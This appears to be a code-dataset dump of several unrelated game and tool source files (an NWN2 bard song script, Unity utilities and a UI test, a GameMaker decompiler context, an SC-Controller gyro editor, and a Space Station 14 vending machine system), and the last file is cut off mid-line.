repo_id
stringlengths
4
98
size
int64
611
5.02M
file_path
stringlengths
1
276
content
stringlengths
611
5.02M
shard_id
int64
0
109
quality_score
float32
0.5
1
quality_prediction
int8
1
1
quality_confidence
float32
0.5
1
topic_primary
stringclasses
1 value
topic_group
stringclasses
1 value
topic_score
float32
0.05
1
topic_all
stringclasses
96 values
quality2_score
float32
0.5
1
quality2_prediction
int8
1
1
quality2_confidence
float32
0.5
1
Kaedrin/nwn2cc
2,800
NWN2 WIP/Source/ScriptMaster_146/nw_s2_sngintufn.NSS
//::////////////////////////////////////////////////////////////////////////// //:: Bard Song: Inspire Toughness //:: NW_S2_SngInTufn //:: Created By: Jesse Reynolds (JLR-OEI) //:: Created On: 04/06/06 //:: Copyright (c) 2005 Obsidian Entertainment Inc. //::////////////////////////////////////////////////////////////////////////// /* This spells applies bonuses to all of the bard's allies within 30ft for as long as it is kept up. */ //:: PKM-OEI 07.13.06 VFX Pass //:: PKM-OEI 07.20.06 Added Perform skill check #include "x0_i0_spells" #include "nwn2_inc_spells" #include "cmi_ginc_chars" void RunPersistentSong(object oCaster, int nSpellId) { int nPerform = GetSkillRank(SKILL_PERFORM); if (nPerform < 3 ) //Checks your perform skill so nubs can't use this song { FloatingTextStrRefOnCreature ( 182800, OBJECT_SELF ); return; } if ( GetCanBardSing( oCaster ) == FALSE ) { return; // Awww :( } // Verify that we are still singing the same song... int nSingingSpellId = FindEffectSpellId(EFFECT_TYPE_BARDSONG_SINGING); if(nSingingSpellId == nSpellId) { //Declare major variables float fDuration = 4.0; //RoundsToSeconds(5); //int nLevel = GetLevelByClass(CLASS_TYPE_BARD, oCaster); //cmi change int nLevel = GetBardicClassLevelForUses(oCaster); int nSave = 1; // AFW-OEI 02/09/2007: Default to +1 /* AFW-OEI 02/09/2007: switch to formula instead of hard-coded list. if(nLevel >= 18) { nSave = 3; } else if(nLevel >= 13) { nSave = 2; } else { nSave = 1; } */ if (nLevel >= 13) { // +1 every five levels starting at level 8 nSave = nSave + ((nLevel - 8) / 5); } if (GetHasFeat(FEAT_EPIC_INSPIRATION, oCaster)) nSave = nSave+2; if (GetHasFeat(FEAT_SONG_OF_THE_HEART, oCaster)) nSave += 1; effect eSave = ExtraordinaryEffect( EffectSavingThrowIncrease(SAVING_THROW_ALL, nSave) ); effect eDur = ExtraordinaryEffect( EffectVisualEffect(VFX_HIT_BARD_INS_TOUGHNESS) ); effect eLink = ExtraordinaryEffect( EffectLinkEffects(eSave, eDur) ); ApplyFriendlySongEffectsToArea( oCaster, nSpellId, fDuration, RADIUS_SIZE_COLOSSAL, eLink ); // Schedule the next ping DelayCommand(2.5f, RunPersistentSong(oCaster, nSpellId)); } } void main() { if ( GetCanBardSing( OBJECT_SELF ) == FALSE ) { return; // Awww :( } if(AttemptNewSong(OBJECT_SELF, TRUE)) { effect eFNF = ExtraordinaryEffect( EffectVisualEffect(VFX_DUR_BARD_SONG) ); ApplyEffectAtLocation(DURATION_TYPE_INSTANT, eFNF, GetLocation(OBJECT_SELF)); DelayCommand(0.1f, RunPersistentSong(OBJECT_SELF, GetSpellId())); } }
1
0.903011
1
0.903011
game-dev
MEDIA
0.682945
game-dev,audio-video-media
0.984396
1
0.984396
leapmotion/LeapMotionCoreAssets
2,355
Assets/LeapMotion/Widgets/Scripts/Utils/FrameRateControls.cs
using UnityEngine; using System.Collections; /// <summary> /// Provides control of target frame rate. /// </summary> /// <remarks> /// This utility is useful for verifying frame-rate independence of behaviors. /// </remarks> public class FrameRateControls : MonoBehaviour { public int targetRenderRate = 60; // must be > 0 public int targetRenderRateStep = 1; public int fixedPhysicsRate = 50; // must be > 0 public int fixedPhysicsRateStep = 1; public KeyCode unlockRender = KeyCode.RightShift; public KeyCode unlockPhysics = KeyCode.LeftShift; public KeyCode decrease = KeyCode.DownArrow; public KeyCode increase = KeyCode.UpArrow; public KeyCode resetRate = KeyCode.Backspace; // Use this for initialization void Awake () { if (QualitySettings.vSyncCount != 0) { Debug.LogWarning ("vSync will override target frame rate. vSyncCount = " + QualitySettings.vSyncCount); } Application.targetFrameRate = targetRenderRate; Time.fixedDeltaTime = 1f/((float)fixedPhysicsRate); } // Update is called once per frame void Update () { if (Input.GetKey (unlockRender)) { if (Input.GetKeyDown (decrease)) { if (targetRenderRate > targetRenderRateStep) { targetRenderRate -= targetRenderRateStep; Application.targetFrameRate = targetRenderRate; } } if (Input.GetKeyDown (increase)) { targetRenderRate += targetRenderRateStep; Application.targetFrameRate = targetRenderRate; } if (Input.GetKeyDown (resetRate)) { ResetRender(); } } if (Input.GetKey (unlockPhysics)) { if (Input.GetKeyDown (decrease)) { if (fixedPhysicsRate > fixedPhysicsRateStep) { fixedPhysicsRate -= fixedPhysicsRateStep; Time.fixedDeltaTime = 1f/((float)fixedPhysicsRate); } } if (Input.GetKeyDown (increase)) { fixedPhysicsRate += fixedPhysicsRateStep; Time.fixedDeltaTime = 1f/((float)fixedPhysicsRate); } if (Input.GetKeyDown (resetRate)) { ResetPhysics(); } } } public void ResetRender() { targetRenderRate = 60; Application.targetFrameRate = -1; } public void ResetPhysics() { fixedPhysicsRate = 50; Time.fixedDeltaTime = 0.02f; } public void ResetAll() { ResetRender (); ResetPhysics (); } }
1
0.905798
1
0.905798
game-dev
MEDIA
0.929303
game-dev
0.810514
1
0.810514
MinorKeyGames/Eldritch
2,491
Code/Projects/Eldritch/src/eldritchpersistence.cpp
#include "core.h" #include "eldritchpersistence.h" #include "idatastream.h" #include "wbeventmanager.h" EldritchPersistence::EldritchPersistence() : m_BankMoney( 0 ) , m_OpenLocks() , m_CharacterHeadIndex( 0 ) , m_CharacterBodyIndex( 0 ) , m_VariableMap() { RegisterForEvents(); } EldritchPersistence::~EldritchPersistence() { // No need to unregister events; this object outlives the event manager. } void EldritchPersistence::RegisterForEvents() { STATIC_HASHED_STRING( SetPersistentVar ); WBWorld::GetInstance()->GetEventManager()->AddObserver( sSetPersistentVar, this, NULL ); } /*virtual*/ void EldritchPersistence::HandleEvent( const WBEvent& Event ) { STATIC_HASHED_STRING( SetPersistentVar ); const HashedString EventName = Event.GetEventName(); if( EventName == sSetPersistentVar ) { STATIC_HASHED_STRING( Name ); const HashedString Name = Event.GetHash( sName ); STATIC_HASHED_STRING( Value ); const WBEvent::SParameter* const pParameter = Event.GetParameter( sValue ); m_VariableMap.Set( Name, pParameter ); } } bool EldritchPersistence::IsOpenLock( const HashedString& Lock ) const { return m_OpenLocks.Search( Lock ).IsValid(); } void EldritchPersistence::AddOpenLock( const HashedString& Lock ) { m_OpenLocks.Insert( Lock ); } #define VERSION_EMPTY 0 #define VERSION_BANK 1 #define VERSION_OPENLOCKS 2 #define VERSION_CHARACTER 3 #define VERSION_VARIABLEMAP 4 #define VERSION_CURRENT 4 void EldritchPersistence::Save( const IDataStream& Stream ) const { Stream.WriteUInt32( VERSION_CURRENT ); Stream.WriteUInt32( m_BankMoney ); Stream.WriteUInt32( m_OpenLocks.Size() ); FOR_EACH_SET( OpenLockIter, m_OpenLocks, HashedString ) { Stream.WriteHashedString( OpenLockIter.GetValue() ); } Stream.WriteUInt32( m_CharacterHeadIndex ); Stream.WriteUInt32( m_CharacterBodyIndex ); m_VariableMap.Save( Stream ); } void EldritchPersistence::Load( const IDataStream& Stream ) { const uint Version = Stream.ReadUInt32(); if( Version >= VERSION_BANK ) { m_BankMoney = Stream.ReadUInt32(); } if( Version >= VERSION_OPENLOCKS ) { const uint NumOpenLocks = Stream.ReadUInt32(); for( uint OpenLockIndex = 0; OpenLockIndex < NumOpenLocks; ++OpenLockIndex ) { m_OpenLocks.Insert( Stream.ReadHashedString() ); } } if( Version >= VERSION_CHARACTER ) { m_CharacterHeadIndex = Stream.ReadUInt32(); m_CharacterBodyIndex = Stream.ReadUInt32(); } if( Version >= VERSION_VARIABLEMAP ) { m_VariableMap.Load( Stream ); } }
1
0.960304
1
0.960304
game-dev
MEDIA
0.391562
game-dev
0.927124
1
0.927124
burnedpopcorn/UnderAnalyzer-Decompiler
6,816
Underanalyzer/Underanalyzer/Decompiler/DecompileContext.cs
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at https://mozilla.org/MPL/2.0/. */ using System; using System.Collections.Generic; using Underanalyzer.Decompiler.ControlFlow; namespace Underanalyzer.Decompiler; /// <summary> /// A decompilation context belonging to a single code entry in a game. /// </summary> public sealed class DecompileContext { /// <summary> /// The game context this decompile context belongs to. /// </summary> public IGameContext GameContext { get; } /// <summary> /// The specific code entry within the game this decompile context belongs to. /// </summary> public IGMCode Code { get; private set; } /// <summary> /// The decompilation settings to be used for this decompile context in its operation. /// </summary>/ public IDecompileSettings Settings { get; private set; } /// <summary> /// Any warnings produced throughout the decompilation process. /// </summary> public List<IDecompileWarning> Warnings { get; } = []; // Helpers to refer to data on game context internal bool OlderThanBytecode15 { get => GameContext.Bytecode14OrLower; } internal bool GMLv2 { get => GameContext.UsingGMLv2; } // Data structures used (and re-used) for decompilation, as well as tests internal List<Block>? Blocks { get; set; } internal Dictionary<int, Block>? BlocksByAddress { get; set; } internal List<Fragment>? FragmentNodes { get; set; } internal List<Loop>? LoopNodes { get; set; } internal List<Block>? ShortCircuitBlocks { get; set; } internal List<ShortCircuit>? ShortCircuitNodes { get; set; } internal List<StaticInit>? StaticInitNodes { get; set; } internal List<TryCatch>? TryCatchNodes { get; set; } internal List<Nullish>? NullishNodes { get; set; } internal List<BinaryBranch>? BinaryBranchNodes { get; set; } internal HashSet<IControlFlowNode>? SwitchEndNodes { get; set; } internal List<Switch.SwitchDetectionData>? SwitchData { get; set; } internal HashSet<Block>? SwitchContinueBlocks { get; set; } internal HashSet<Block>? SwitchIgnoreJumpBlocks { get; set; } internal List<Switch>? SwitchNodes { get; set; } internal Dictionary<Block, Loop>? BlockSurroundingLoops { get; set; } internal Dictionary<Block, int>? BlockAfterLimits { get; set; } internal List<GMEnum> EnumDeclarations { get; set; } = []; internal Dictionary<string, GMEnum> NameToEnumDeclaration { get; set; } = []; internal GMEnum? UnknownEnumDeclaration { get; set; } = null; internal int UnknownEnumReferenceCount { get; set; } = 0; public DecompileContext(IGameContext gameContext, IGMCode code, IDecompileSettings? settings = null) { GameContext = gameContext; Code = code; Settings = settings ?? new DecompileSettings(); } // Constructor used for control flow tests internal DecompileContext(IGMCode code) { Code = code; GameContext = new Mock.GameContextMock(); Settings = new DecompileSettings(); } // Solely decompiles control flow from the code entry private void DecompileControlFlow() { try { Block.FindBlocks(this); Fragment.FindFragments(this); StaticInit.FindStaticInits(this); Nullish.FindNullish(this); ShortCircuit.FindShortCircuits(this); Loop.FindLoops(this); ShortCircuit.InsertShortCircuits(this); TryCatch.FindTryCatch(this); Switch.FindSwitchStatements(this); BinaryBranch.FindBinaryBranches(this); Switch.InsertSwitchStatements(this); TryCatch.CleanTryEndBranches(this); } catch (DecompilerException ex) { throw new DecompilerException($"Decompiler error during control flow analysis: {ex.Message}", ex); } catch (Exception ex) { throw new DecompilerException($"Unexpected exception thrown in decompiler during control flow analysis: {ex.Message}", ex); } } // Decompiles the AST from the code entry private AST.IStatementNode DecompileAST() { try { return new AST.ASTBuilder(this).Build(); } catch (DecompilerException ex) { throw new DecompilerException($"Decompiler error during AST building: {ex.Message}", ex); } catch (Exception ex) { throw new DecompilerException($"Unexpected exception thrown in decompiler during AST building: {ex.Message}", ex); } } // Decompiles the AST from the code entry private AST.IStatementNode CleanupAST(AST.IStatementNode ast) { try { AST.ASTCleaner cleaner = new(this); AST.IStatementNode cleaned = ast.Clean(cleaner); if (Settings.CreateEnumDeclarations) { AST.EnumDeclNode.GenerateDeclarations(cleaner, cleaned); } AST.IStatementNode postCleaned = cleaned.PostClean(cleaner); return postCleaned; } catch (DecompilerException ex) { throw new DecompilerException($"Decompiler error during AST cleanup: {ex.Message}", ex); } catch (Exception ex) { throw new DecompilerException($"Unexpected exception thrown in decompiler during AST cleanup: {ex.Message}", ex); } } /// <summary> /// Decompiles the code entry, and returns the AST output. /// </summary> public AST.IStatementNode DecompileToAST() { DecompileControlFlow(); AST.IStatementNode ast = DecompileAST(); return CleanupAST(ast); } /// <summary> /// Decompiles the code entry, and returns the string output. /// </summary> public string DecompileToString() { AST.IStatementNode ast = DecompileToAST(); try { AST.ASTPrinter printer = new(this); if (Settings.PrintWarnings) { printer.PrintRemainingWarnings(true); } ast.Print(printer); if (Settings.PrintWarnings) { printer.PrintRemainingWarnings(false); } return printer.OutputString; } catch (DecompilerException ex) { throw new DecompilerException($"Decompiler error during AST printing: {ex.Message}", ex); } catch (Exception ex) { throw new DecompilerException($"Unexpected exception thrown in decompiler during AST printing: {ex.Message}", ex); } } }
1
0.836169
1
0.836169
game-dev
MEDIA
0.308728
game-dev
0.928249
1
0.928249
anegostudios/vssurvivalmod
1,560
Entities/EntityStrawDummy.cs
using Vintagestory.API.Common; using Vintagestory.API.MathTools; #nullable disable namespace Vintagestory.GameContent { public class EntityStrawDummy : EntityHumanoid { public override void OnInteract(EntityAgent byEntity, ItemSlot slot, Vec3d hitPosition, EnumInteractMode mode) { if (!Api.World.Claims.TryAccess(((EntityPlayer)byEntity).Player, Pos.AsBlockPos, EnumBlockAccessFlags.Use) || !Alive || World.Side == EnumAppSide.Client || mode == 0) { base.OnInteract(byEntity, slot, hitPosition, mode); return; } string owneruid = WatchedAttributes.GetString("ownerUid", null); string agentUid = (byEntity as EntityPlayer)?.PlayerUID; if (agentUid != null && (owneruid == null || owneruid == "" || owneruid == agentUid) && byEntity.Controls.ShiftKey) { ItemStack stack = new ItemStack(byEntity.World.GetItem(new AssetLocation("strawdummy"))); if (!byEntity.TryGiveItemStack(stack)) { byEntity.World.SpawnItemEntity(stack, ServerPos.XYZ); } byEntity.World.Logger.Audit("{0} Took 1x{1} at {2}.", byEntity.GetName(), stack.Collectible.Code, ServerPos.AsBlockPos ); Die(); return; } base.OnInteract(byEntity, slot, hitPosition, mode); } } }
1
0.938442
1
0.938442
game-dev
MEDIA
0.926086
game-dev
0.95662
1
0.95662
kozec/sc-controller
5,694
scc/gui/ae/gyro.py
#!/usr/bin/env python2 """ SC-Controller - Action Editor - Gyro -> Per Axis component """ from __future__ import unicode_literals from scc.tools import _ from scc.actions import Action, NoAction, AxisAction, MultiAction from scc.actions import GyroAction, GyroAbsAction, RangeOP from scc.modifiers import ModeModifier from scc.constants import SCButtons, STICK from scc.tools import ensure_size, nameof from scc.gui.ae.gyro_action import TRIGGERS, is_gyro_enable, fill_buttons from scc.gui.ae import AEComponent, describe_action from scc.gui.simple_chooser import SimpleChooser import logging log = logging.getLogger("AE.Gyro") __all__ = [ 'GyroComponent' ] class GyroComponent(AEComponent): GLADE = "ae/gyro.glade" NAME = "gyro" CTXS = Action.AC_GYRO PRIORITY = 2 def __init__(self, app, editor): AEComponent.__init__(self, app, editor) self._recursing = False self.axes = [ None, None, None ] def load(self): if self.loaded : return AEComponent.load(self) cbGyroButton = self.builder.get_object("cbGyroButton") self._recursing = True cbGyroButton = self.builder.get_object("cbGyroButton") fill_buttons(cbGyroButton) self._recursing = False self.buttons = [ self.builder.get_object(x) for x in ("btPitch", "btYaw", "btRoll") ] self.cbs = [ self.builder.get_object(x) for x in ("cbPitchAbs", "cbYawAbs", "cbRollAbs") ] self.labels = [ self.builder.get_object(x) for x in ("lblPitch", "lblYaw", "lblRoll") ] def set_action(self, mode, action): if self.handles(mode, action): if isinstance(action, ModeModifier): self._recursing = True self.builder.get_object("cbInvertGyro").set_active(bool(action.default)) self._recursing = False b = action.mods.keys()[0] action = action.mods[b] or action.default self.select_gyro_button(b) else: self.select_gyro_button(None) actions = [ action ] if isinstance(action, MultiAction): actions = action.actions self._recursing = True for a in actions: if isinstance(a, GyroAction): pars = ensure_size(3, a.parameters) for i in xrange(0, 3): if pars[i] is not None: self.axes[i] = pars[i] self.cbs[i].set_active(isinstance(a, GyroAbsAction)) self.update() self._recursing = False def get_button_title(self): return _("Per Axis") def handles(self, mode, action): if is_gyro_enable(action): action = action.mods.values()[0] if isinstance(action, GyroAction): # Takes GyroAbsAction as well return True if isinstance(action, MultiAction): for a in action.actions: if not isinstance(a, GyroAction): return False return True return False def on_select_axis(self, source, *a): i = self.buttons.index(source) def cb(action): self.axes[i] = action.parameters[0] self.update() self.send() b = SimpleChooser(self.app, "axis", cb) b.set_title(_("Select Axis")) b.hide_mouse() b.display_action(Action.AC_STICK, AxisAction(self.axes[i])) b.show(self.editor.window) def on_abs_changed(self, source, *a): if self._recursing : return self.send() def select_gyro_button(self, item): """ Just sets combobox value """ cb = self.builder.get_object("cbGyroButton") rvSoftLevel = self.builder.get_object("rvSoftLevel") sclSoftLevel = self.builder.get_object("sclSoftLevel") lblSoftLevel = self.builder.get_object("lblSoftLevel") model = cb.get_model() self._recursing = True button = None if isinstance(item, RangeOP): button = nameof(item.what) sclSoftLevel.set_value(item.value) rvSoftLevel.set_reveal_child(True) if item.what == STICK: lblSoftLevel.set_label(_("Stick deadzone")) else: lblSoftLevel.set_label(_("Trigger Pull Level")) elif item is not None: button = nameof(item.name) for row in model: if button == row[0] and row[1] != None: cb.set_active_iter(row.iter) self._recursing = False return self._recursing = False def on_cbInvertGyro_toggled(self, cb, *a): lblGyroEnable = self.builder.get_object("lblGyroEnable") if cb.get_active(): lblGyroEnable.set_label(_("Gyro Disable Button")) else: lblGyroEnable.set_label(_("Gyro Enable Button")) if not self._recursing: self.send() def on_sclSoftLevel_format_value(self, scale, value): return "%s%%" % (int(value * 100.0),) def update(self, *a): for i in xrange(0, 3): self.labels[i].set_label(describe_action(Action.AC_STICK, AxisAction, self.axes[i])) def send(self, *a): if self._recursing : return rvSoftLevel = self.builder.get_object("rvSoftLevel") sclSoftLevel = self.builder.get_object("sclSoftLevel") cbGyroButton = self.builder.get_object("cbGyroButton") cbInvertGyro = self.builder.get_object("cbInvertGyro") item = cbGyroButton.get_model().get_value(cbGyroButton.get_active_iter(), 0) rvSoftLevel.set_reveal_child(item in TRIGGERS) normal, n_set = [ None, None, None ], False absolute, a_set = [ None, None, None ], False for i in xrange(0, 3): if self.axes[i]: if self.cbs[i].get_active(): absolute[i] = self.axes[i] a_set = True else: normal[i] = self.axes[i] n_set = True if n_set and a_set: action = MultiAction(GyroAction(*normal), GyroAbsAction(*absolute)) elif n_set: action = GyroAction(*normal) elif a_set: action = GyroAbsAction(*absolute) else: action = NoAction() if item and action: what = getattr(SCButtons, item) if item in TRIGGERS: what = RangeOP(what, ">=", sclSoftLevel.get_value()) if cbInvertGyro.get_active(): action = ModeModifier(what, NoAction(), action) else: action = ModeModifier(what, action) self.editor.set_action(action)
1
0.77585
1
0.77585
game-dev
MEDIA
0.57406
game-dev,desktop-app
0.906048
1
0.906048
Unity-Technologies/uGUI
3,148
com.unity.ugui/Tests/Runtime/UGUI/Canvas/SiblingOrderChangesLayout.cs
using UnityEngine; using UnityEngine.TestTools; using NUnit.Framework; using System.Collections; using UnityEngine.UI; [TestFixture] [Category("RegressionTest")] [Description("Case 723062")] internal class SiblingOrderChangesLayout { GameObject m_CanvasGO; GameObject m_ParentGO; GameObject m_Child1GO; GameObject m_Child2GO; [SetUp] public void TestSetup() { m_CanvasGO = new GameObject("Canvas", typeof(Canvas)); m_ParentGO = new GameObject("ParentRenderer"); m_Child1GO = CreateTextObject("ChildRenderer1"); m_Child2GO = CreateTextObject("ChildRenderer2"); #if UNITY_EDITOR UnityEditor.EditorApplication.ExecuteMenuItem("Window/General/Game"); #endif } [UnityTest] public IEnumerator ReorderingSiblingChangesLayout() { m_ParentGO.transform.SetParent(m_CanvasGO.transform); m_Child1GO.transform.SetParent(m_ParentGO.transform); m_Child2GO.transform.SetParent(m_ParentGO.transform); m_ParentGO.AddComponent<CanvasRenderer>(); m_ParentGO.AddComponent<RectTransform>(); m_ParentGO.AddComponent<VerticalLayoutGroup>(); m_ParentGO.AddComponent<ContentSizeFitter>(); yield return null; Vector2 child1Pos = m_Child1GO.GetComponent<RectTransform>().anchoredPosition; Vector2 child2Pos = m_Child2GO.GetComponent<RectTransform>().anchoredPosition; Assert.That(child1Pos, Is.Not.EqualTo(child2Pos)); Assert.That(m_Child1GO.GetComponent<CanvasRenderer>().hasMoved, Is.False, "CanvasRenderer.hasMoved should be false"); m_Child2GO.transform.SetAsFirstSibling(); Canvas.ForceUpdateCanvases(); Assert.That(m_Child1GO.GetComponent<CanvasRenderer>().hasMoved, Is.True, "CanvasRenderer.hasMoved should be true"); Vector2 newChild1Pos = m_Child1GO.GetComponent<RectTransform>().anchoredPosition; Vector2 newChild2Pos = m_Child2GO.GetComponent<RectTransform>().anchoredPosition; Assert.That(newChild1Pos, Is.EqualTo(child2Pos), "Child1 should have moved to Child2's position"); Assert.That(newChild2Pos, Is.EqualTo(child1Pos), "Child2 should have moved to Child1's position"); } [TearDown] public void TearDown() { GameObject.DestroyImmediate(m_CanvasGO); } // Factory method for creating UI text objects taken from the original bug repro scene: private GameObject CreateTextObject(string name) { GameObject outputTextGameObject = new GameObject("OutputContent", typeof(CanvasRenderer)); RectTransform outputTextTransform = outputTextGameObject.AddComponent<RectTransform>(); outputTextTransform.pivot = new Vector2(0.5f, 0); outputTextTransform.anchorMin = Vector2.zero; outputTextTransform.anchorMax = new Vector2(1, 0); outputTextTransform.anchoredPosition = Vector2.zero; outputTextTransform.sizeDelta = Vector2.zero; Text outputText = outputTextGameObject.AddComponent<Text>(); outputText.text = "Hello World!"; outputTextGameObject.name = name; return outputTextGameObject; } }
1
0.791244
1
0.791244
game-dev
MEDIA
0.933221
game-dev
0.866087
1
0.866087
ss14Starlight/space-station-14
18,983
Content.Shared/VendingMachines/SharedVendingMachineSystem.cs
using Content.Shared.Emag.Components; using Robust.Shared.Prototypes; using System.Linq; using Content.Shared.Access.Components; using Content.Shared.Access.Systems; using Content.Shared.Advertise.Components; using Content.Shared.Advertise.Systems; using Content.Shared.DoAfter; using Content.Shared.Emag.Systems; using Content.Shared.Interaction; using Content.Shared.Popups; using Content.Shared.Power.EntitySystems; using Robust.Shared.Audio; using Robust.Shared.Audio.Systems; using Robust.Shared.GameStates; using Robust.Shared.Network; using Robust.Shared.Random; using Robust.Shared.Timing; namespace Content.Shared.VendingMachines; public abstract partial class SharedVendingMachineSystem : EntitySystem { [Dependency] protected readonly IGameTiming Timing = default!; [Dependency] protected readonly IPrototypeManager PrototypeManager = default!; [Dependency] private readonly AccessReaderSystem _accessReader = default!; [Dependency] private readonly SharedAppearanceSystem _appearanceSystem = default!; [Dependency] protected readonly SharedAudioSystem Audio = default!; [Dependency] private readonly SharedDoAfterSystem _doAfter = default!; [Dependency] protected readonly SharedPointLightSystem Light = default!; [Dependency] protected readonly INetManager _net = default!; // 🌟Starlight🌟 [Dependency] private readonly SharedPowerReceiverSystem _receiver = default!; [Dependency] protected readonly SharedPopupSystem Popup = default!; [Dependency] private readonly SharedSpeakOnUIClosedSystem _speakOn = default!; [Dependency] protected readonly SharedUserInterfaceSystem UISystem = default!; [Dependency] protected readonly IRobustRandom Randomizer = default!; [Dependency] private readonly EmagSystem _emag = default!; public override void Initialize() { base.Initialize(); SubscribeLocalEvent<VendingMachineComponent, ComponentGetState>(OnVendingGetState); SubscribeLocalEvent<VendingMachineComponent, MapInitEvent>(OnMapInit); SubscribeLocalEvent<VendingMachineComponent, GotEmaggedEvent>(OnEmagged); SubscribeLocalEvent<VendingMachineComponent, RestockDoAfterEvent>(OnRestockDoAfter); SubscribeLocalEvent<VendingMachineRestockComponent, AfterInteractEvent>(OnAfterInteract); Subs.BuiEvents<VendingMachineComponent>(VendingMachineUiKey.Key, subs => { subs.Event<VendingMachineEjectMessage>(OnInventoryEjectMessage); subs.Event<VendingMachineRequestBalanceMessage>(OnRequestBalanceMessage); // 🌟Starlight🌟 }); } //#region starlight /// <summary> /// Restocks one item from the starting inventory, can also be overriden what is restocked on the VendingMachineComponent /// </summary> /// <param name="uid">the EntityUid of the vending machine</param> /// <param name="component">the Vending Machine component of the vending machine</param> public void RestockRandom(EntityUid uid, VendingMachineComponent component) { string? item = null; if (component.RandomRestockTarget != null) { item = component.RandomRestockTarget.ToString(); } else { if (!PrototypeManager.TryIndex(component.PackPrototypeId, out VendingMachineInventoryPrototype? packPrototype)) return; var startingInventory = packPrototype.StartingInventory; var next = Randomizer.Next(0, startingInventory.Count); var target = packPrototype.StartingInventory.ElementAt(next); item = target.Key; } if (item == null) return; var theItem = new Dictionary<string, uint>(); theItem.Add(item, 1); AddInventoryFromPrototype(uid, theItem, InventoryType.Regular, component); Dirty(uid, component); } //#endregion starlight private void OnVendingGetState(Entity<VendingMachineComponent> entity, ref ComponentGetState args) { var component = entity.Comp; var inventory = new Dictionary<string, VendingMachineInventoryEntry>(); var emaggedInventory = new Dictionary<string, VendingMachineInventoryEntry>(); var contrabandInventory = new Dictionary<string, VendingMachineInventoryEntry>(); foreach (var weh in component.Inventory) { inventory[weh.Key] = new(weh.Value); } foreach (var weh in component.EmaggedInventory) { emaggedInventory[weh.Key] = new(weh.Value); } foreach (var weh in component.ContrabandInventory) { contrabandInventory[weh.Key] = new(weh.Value); } // 🌟Starlight🌟 Allow server-side systems to calculate prices // If emagged for interaction, the machine becomes free var isEmagged = _emag.CheckFlag(entity.Owner, EmagType.Interaction); var showPricesNow = component.ShowPrices && !isEmagged; CalculateInventoryPrices(inventory, showPricesNow); CalculateInventoryPrices(emaggedInventory, showPricesNow); CalculateInventoryPrices(contrabandInventory, showPricesNow); args.State = new VendingMachineComponentState() { Inventory = inventory, EmaggedInventory = emaggedInventory, ContrabandInventory = contrabandInventory, Contraband = component.Contraband, ShowPrices = showPricesNow, // 🌟Starlight🌟 EjectEnd = component.EjectEnd, DenyEnd = component.DenyEnd, DispenseOnHitEnd = component.DispenseOnHitEnd, }; } // 🌟Starlight🌟 /// <summary> /// Virtual method for calculating inventory prices. Override on server for actual pricing logic /// </summary> protected virtual void CalculateInventoryPrices(Dictionary<string, VendingMachineInventoryEntry> inventory, bool showPrices) { } public override void Update(float frameTime) { base.Update(frameTime); var query = EntityQueryEnumerator<VendingMachineComponent>(); var curTime = Timing.CurTime; while (query.MoveNext(out var uid, out var comp)) { if (comp.Ejecting) { if (curTime > comp.EjectEnd) { comp.EjectEnd = null; Dirty(uid, comp); EjectItem(uid, comp); UpdateUI((uid, comp)); } } if (comp.Denying) { if (curTime > comp.DenyEnd) { comp.DenyEnd = null; Dirty(uid, comp); TryUpdateVisualState((uid, comp)); } } if (comp.DispenseOnHitCoolingDown) { if (curTime > comp.DispenseOnHitEnd) { comp.DispenseOnHitEnd = null; Dirty(uid, comp); } } } } protected virtual void OnInventoryEjectMessage(Entity<VendingMachineComponent> entity, ref VendingMachineEjectMessage args) { if (!_receiver.IsPowered(entity.Owner) || Deleted(entity)) return; if (args.Actor is not { Valid: true } actor) return; AuthorizedVend(entity.Owner, actor, args.Type, args.ID, entity.Comp); } /// <summary> /// Handles balance request from client. Override on server to provide actual balance data /// </summary> // Starlight-edit protected virtual void OnRequestBalanceMessage(Entity<VendingMachineComponent> entity, ref VendingMachineRequestBalanceMessage args) { } protected virtual void OnMapInit(EntityUid uid, VendingMachineComponent component, MapInitEvent args) { RestockInventoryFromPrototype(uid, component, component.InitialStockQuality); } protected virtual void EjectItem(EntityUid uid, VendingMachineComponent? vendComponent = null, bool forceEject = false) { } /// <summary> /// Checks if the user is authorized to use this vending machine /// </summary> /// <param name="uid"></param> /// <param name="sender">Entity trying to use the vending machine</param> /// <param name="vendComponent"></param> public bool IsAuthorized(EntityUid uid, EntityUid sender, VendingMachineComponent? vendComponent = null) { if (!Resolve(uid, ref vendComponent)) return false; if (!TryComp<AccessReaderComponent>(uid, out var accessReader)) return true; if (_accessReader.IsAllowed(sender, uid, accessReader) || HasComp<EmaggedComponent>(uid)) return true; Popup.PopupClient(Loc.GetString("vending-machine-component-try-eject-access-denied"), uid, sender); Deny((uid, vendComponent), sender); return false; } protected VendingMachineInventoryEntry? GetEntry(EntityUid uid, string entryId, InventoryType type, VendingMachineComponent? component = null) { if (!Resolve(uid, ref component)) return null; if (type == InventoryType.Emagged && HasComp<EmaggedComponent>(uid)) return component.EmaggedInventory.GetValueOrDefault(entryId); if (type == InventoryType.Contraband && component.Contraband) return component.ContrabandInventory.GetValueOrDefault(entryId); return component.Inventory.GetValueOrDefault(entryId); } /// <summary> /// Tries to eject the provided item. Will do nothing if the vending machine is incapable of ejecting, already ejecting /// or the item doesn't exist in its inventory. /// </summary> /// <param name="uid"></param> /// <param name="type">The type of inventory the item is from</param> /// <param name="itemId">The prototype ID of the item</param> /// <param name="throwItem">Whether the item should be thrown in a random direction after ejection</param> /// <param name="vendComponent"></param> public void TryEjectVendorItem(EntityUid uid, InventoryType type, string itemId, bool throwItem, EntityUid? user = null, VendingMachineComponent? vendComponent = null) { if (!Resolve(uid, ref vendComponent)) return; if (vendComponent.Ejecting || vendComponent.Broken || !_receiver.IsPowered(uid)) { return; } var entry = GetEntry(uid, itemId, type, vendComponent); if (string.IsNullOrEmpty(entry?.ID)) { Popup.PopupClient(Loc.GetString("vending-machine-component-try-eject-invalid-item"), uid); Deny((uid, vendComponent)); return; } if (entry.Amount <= 0) { Popup.PopupClient(Loc.GetString("vending-machine-component-try-eject-out-of-stock"), uid); Deny((uid, vendComponent)); return; } // Starlight-edit start: vendComponent.EjectEnd = Timing.CurTime + vendComponent.EjectDelay; vendComponent.NextItemToEject = entry.ID; vendComponent.ThrowNextItem = throwItem; vendComponent.CurrentItemType = type; // track inventory bucket for this operation vendComponent.LastBuyer = user; // remember who initiated vendComponent.DebitApplied = false; // clear applied flag in case previous op. didnt finish correctly vendComponent.VendOperationId++; // bump operation id to mark a new vend entry.Amount--; // Starlight-edit end: if 